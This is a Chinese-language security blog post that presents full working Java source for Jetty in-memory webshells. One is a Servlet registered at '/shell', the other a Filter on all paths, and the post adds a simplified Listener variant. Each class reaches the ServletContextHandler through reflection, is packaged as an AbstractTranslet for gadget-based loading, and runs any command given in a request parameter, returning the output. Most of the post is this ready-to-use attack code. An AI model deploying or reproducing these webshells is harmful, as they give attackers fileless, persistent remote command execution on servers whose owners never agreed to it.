前言
本文在实现完 Jetty Listener 回显内存马后,Servlet 和 Filter 类型的内存马想必就是信手拈来了。阅读本文之前建议先阅读 https://sec.1i6w31fen9.top/2023/11/18/jetty-listener-%e5%9e%8b%e5%86%85%e5%ad%98%e9%a9%ac/ ,这样更好理解文章内容。
分析和实现过程
Servlet 型内存马
我注意到在设置 Servlet 的时候有如下代码:
也就是直接可以通过 ServletContextHandler
进行添加 Servlet。我们之前分析 Jetty 的 Listener 内存马 的时候,通过一系列的反射操作能够成功获得 ServletContextHandler
对象。那么具体实现代码前半段部分不必改动,后面只需要将这个恶意类实现 Servlet
接口添加即可。完整代码如下,比较简单,这里就不再赘述,感兴趣的小伙伴可以翻阅之前的文章,更好的理解。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletContextHandler;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* @author Shule
* CreateTime: 2023/11/18 16:05
*/
public class PoC4Servlet3 extends AbstractTranslet implements Servlet{
static {
try {
Thread thread = Thread.currentThread();
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true); // 取消访问权限限制
// 获取 threadLocals 字段的值,即 ThreadLocal.ThreadLocalMap 对象
Object threadLocals = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = threadLocals.getClass();
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
// 获取 table 数组
Object[] table = (Object[]) tableField.get(threadLocals);
HttpConnection httpConnection = null;
for (Object entry : table) {
if (entry != null) {
// 获取 entry 中的 value
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value != null && value.toString().contains("HttpConnection")) {
httpConnection = (HttpConnection) value;
}
}
}
assert httpConnection != null;
Field channelField = httpConnection.getClass().getDeclaredField("_channel");
channelField.setAccessible(true);
HttpChannel httpChannelOverHttp = (HttpChannel) channelField.get(httpConnection);
Field requestField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(httpChannelOverHttp);
ServletContextHandler.Context context = (ServletContextHandler.Context) request.getServletContext();
Class<?> contextClass = context.getClass();
// 获取 InnerClass 类型的字段 "this$0",它引用外部类对象
Field outerField = contextClass.getDeclaredField("this$0");
outerField.setAccessible(true); // 取消访问限制
// 获取外部类对象 ServletContextHandler
ServletContextHandler servletContextHandler = (ServletContextHandler) outerField.get(context);
// 直接使用 servletContextHandler 进行添加
servletContextHandler.addServlet(PoC4Servlet3.class, "/shell");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("shule");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
并且由于 Servlet 带有 Request 和 Response 对象,回显的问题不需要再额外考虑。
Filter 型内存马
我们又注意到在添加 Filter 的代码是这样的:
跟前面一样,不多说了,直接给出实现代码:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.eclipse.jetty.server.HttpChannel;
import org.eclipse.jetty.server.HttpConnection;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.servlet.ServletContextHandler;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.EnumSet;
import java.util.Scanner;
/**
* @author Shule
* CreateTime: 2023/11/19 0:14
*/
public class PoC4Filter extends AbstractTranslet implements Filter {
static {
try {
Thread thread = Thread.currentThread();
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true); // 取消访问权限限制
// 获取 threadLocals 字段的值,即 ThreadLocal.ThreadLocalMap 对象
Object threadLocals = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = threadLocals.getClass();
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
// 获取 table 数组
Object[] table = (Object[]) tableField.get(threadLocals);
HttpConnection httpConnection = null;
for (Object entry : table) {
if (entry != null) {
// 获取 entry 中的 value
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
if (value != null && value.toString().contains("HttpConnection")) {
httpConnection = (HttpConnection) value;
}
}
}
assert httpConnection != null;
Field channelField = httpConnection.getClass().getDeclaredField("_channel");
channelField.setAccessible(true);
HttpChannel httpChannelOverHttp = (HttpChannel) channelField.get(httpConnection);
Field requestField = Class.forName("org.eclipse.jetty.server.HttpChannel").getDeclaredField("_request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(httpChannelOverHttp);
ServletContextHandler.Context context = (ServletContextHandler.Context) request.getServletContext();
Class<?> contextClass = context.getClass();
// 获取 InnerClass 类型的字段 "this$0",它引用外部类对象
Field outerField = contextClass.getDeclaredField("this$0");
outerField.setAccessible(true); // 取消访问限制
// 获取外部类对象 ServletContextHandler
ServletContextHandler servletContextHandler = (ServletContextHandler) outerField.get(context);
// 直接添加
servletContextHandler.addFilter(PoC4Filter.class, "/*", EnumSet.of(DispatcherType.REQUEST));
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
String cmd = request.getParameter("shule");
if (cmd != null) {
try {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
response.setContentType("text/html; charset=UTF-8");
PrintWriter writer = response.getWriter();
Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
scanner.close();
writer.write(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
filterChain.doFilter(request, response);
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
结语
Jetty 内存马注入的核心是获得 servletContextHandler
对象。
这里再给出 Listner 内存马的化简版本,可以将之前的
// 获取 ServletContextHandler 的 _servletRequestListeners 字段
Field _servletRequestListenersField = servletContextHandler.getClass().getSuperclass().getDeclaredField("_servletRequestListeners");
_servletRequestListenersField.setAccessible(true);
List<ServletRequestListener> servletRequestListeners = (List<ServletRequestListener>) _servletRequestListenersField.get(servletContextHandler);
// 加载恶意的 Listener
if (servletRequestListeners != null) {
servletRequestListeners.add(new PoC4Listener());
System.out.println("Listener Ok!");
} else {
List<ServletRequestListener> servletRequestListeners1 = new ArrayList<>();
servletRequestListeners1.add(new PoC4Listener());
_servletRequestListenersField.set(servletContextHandler, servletRequestListeners1);
System.out.println("add a new Listener Ok!");
}
改为
servletContextHandler.addEventListener(new PoC4Listener());
即可。